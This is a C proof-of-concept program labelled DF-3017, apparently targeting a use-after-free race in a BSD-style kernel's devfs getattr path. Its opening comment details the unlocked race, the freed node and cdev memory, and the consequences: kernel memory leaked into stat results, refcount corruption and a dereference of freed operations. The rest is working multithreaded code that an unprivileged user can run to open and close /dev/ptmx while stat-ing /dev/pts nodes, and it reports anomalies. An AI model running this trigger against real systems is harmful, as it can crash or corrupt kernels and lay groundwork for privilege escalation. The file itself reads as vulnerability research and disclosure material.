DF-3017 / df3017.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 | /* * DF-3017 PoC: devfs_vop_getattr() unlocked UAF race (sys/vfs/devfs/devfs_vnops.c) * * Race: * A-threads: open("/dev/ptmx") + close() churn. Every iteration * ptyclone() creates pts+ptm cdevs and devfs nodes under /dev/pts; * last close -> pti_done() -> destroy_dev() x2 -> devfs core thread * runs devfs_freep(): vget(vp) [vp is only ref'd, NOT locked by * victims], v_release_rdev(vp), vp->v_data = NULL, and * objcache_put(devfs_node_cache, node) -- the node memory is FREED * and the cdev sysref is dropped. * * B-threads: stat("/dev/pts/N") in a tight loop. kern_stat() uses * cache_vref() -- a ref only, NO vnode lock ("vp already has a ref * and is validated, can call unlocked" -- kern/vfs_vnops.c vn_stat), * and naccess() uses VOP_GETATTR_LITE which defaults to the full * VOP_GETATTR -> devfs_vop_getattr(), which dereferences * DEVFS_NODE(vp) and node->d_dev with NO vnode lock and NO devfs_lock. * * If B's getattr touches the node after devfs_freep() freed it, we get: * - UAF read of node fields -> garbage leaks into struct stat * (st_ino/st_nlink/st_uid/st_mode/st_size are attacker-observable), * - reference_dev(node->d_dev)/release_dev() -> sysref refcount * corruption on freed cdev memory, * - dev_dflags(node->d_dev) & D_DISK -> deref of freed si_ops. * * Anomaly detection (normal pts node: S_ISCHR, st_nlink==1, st_size==0, * st_ino small sequential, st_uid == opener or root): * flag anything deviating -> proof the getattr read freed/reused memory. * * Build: cc -O2 -pthread -o df3017 df3017.c * Run (unpriv): ./df3017 [seconds] */ #include <sys/stat.h> #include <sys/types.h> #include <errno.h> #include <fcntl.h> #include <pthread.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <time.h> static volatile int stop; static long n_open, n_stat, n_enoent, n_err, n_anom; static pthread_mutex_t lock = PTHREAD_MUTEX_INITIALIZER; #define NUNITS 8 static const char *paths[NUNITS] = { "/dev/pts/0","/dev/pts/1","/dev/pts/2","/dev/pts/3", "/dev/pts/4","/dev/pts/5","/dev/pts/6","/dev/pts/7", }; static void bump(long *c) { pthread_mutex_lock(&lock); (*c)++; pthread_mutex_unlock(&lock); } static void report_anom(const char *path, struct stat *st) { pthread_mutex_lock(&lock); if (n_anom < 40) fprintf(stderr, "ANOMALY[%ld] %s: ino=%llu nlink=%llu mode=%o uid=%lu " "gid=%lu size=%lld rdev=%lu\n", n_anom, path, (unsigned long long)st->st_ino, (unsigned long long)st->st_nlink, st->st_mode, (unsigned long)st->st_uid, (unsigned long)st->st_gid, (long long)st->st_size, (unsigned long)st->st_rdev); n_anom++; pthread_mutex_unlock(&lock); } /* Device churning: open+close /dev/ptmx as fast as possible */ static void *churn(void *arg) { (void)arg; while (!stop) { int fd = open("/dev/ptmx", O_RDWR | O_NOCTTY); if (fd >= 0) { close(fd); bump(&n_open); } else { bump(&n_err); usleep(100); } } return NULL; } /* Victim: stat() the transient pts nodes with no lock held */ static void *statloop(void *arg) { long id = (long)arg; int i; (void)arg; while (!stop) { for (i = 0; i < NUNITS; i++) { struct stat st; const char *p = paths[(i + id) % NUNITS]; if (lstat(p, &st) == 0) { bump(&n_stat); if (!S_ISCHR(st.st_mode) || st.st_nlink != 1 || st.st_size != 0 || st.st_ino > 10000000ULL) { report_anom(p, &st); } } else if (errno == ENOENT) { bump(&n_enoent); } else { bump(&n_err); } /* naccess() path: VOP_GETATTR_LITE -> VOP_GETATTR */ if (access(p, W_OK) == 0 || errno != ENOENT) ; /* result irrelevant */ } } return NULL; } int main(int argc, char **argv) { int secs = (argc > 1) ? atoi(argv[1]) : 60; int nchurn = 3, nstat = 8; pthread_t th[32]; int nth = 0, i; struct timespec ts0, ts; /* warmup: create /dev/pts */ { int fd = open("/dev/ptmx", O_RDWR | O_NOCTTY); if (fd < 0) { perror("open /dev/ptmx (run as unpriv user, mode 0666 expected)"); return 2; } close(fd); } clock_gettime(CLOCK_MONOTONIC, &ts0); printf("DF-3017 racer: %d churn + %d stat threads for %ds\n", nchurn, nstat, secs); for (i = 0; i < nchurn; i++) pthread_create(&th[nth++], NULL, churn, (void *)(long)i); for (i = 0; i < nstat; i++) pthread_create(&th[nth++], NULL, statloop, (void *)(long)i); for (i = 0; i < secs; i += 5) { int rem = secs - i; if (rem > 5) rem = 5; sleep(rem); clock_gettime(CLOCK_MONOTONIC, &ts); printf("[%3lds] open+close=%ld stat_ok=%ld enoent=%ld " "err=%ld ANOMALIES=%ld\n", ts.tv_sec - ts0.tv_sec, n_open, n_stat, n_enoent, n_err, n_anom); fflush(stdout); if (n_anom) break; } stop = 1; for (i = 0; i < nth; i++) pthread_join(th[i], NULL); printf("done: open+close=%ld stat_ok=%ld enoent=%ld err=%ld " "ANOMALIES=%ld\n", n_open, n_stat, n_enoent, n_err, n_anom); return (n_anom ? 1 : 0); } |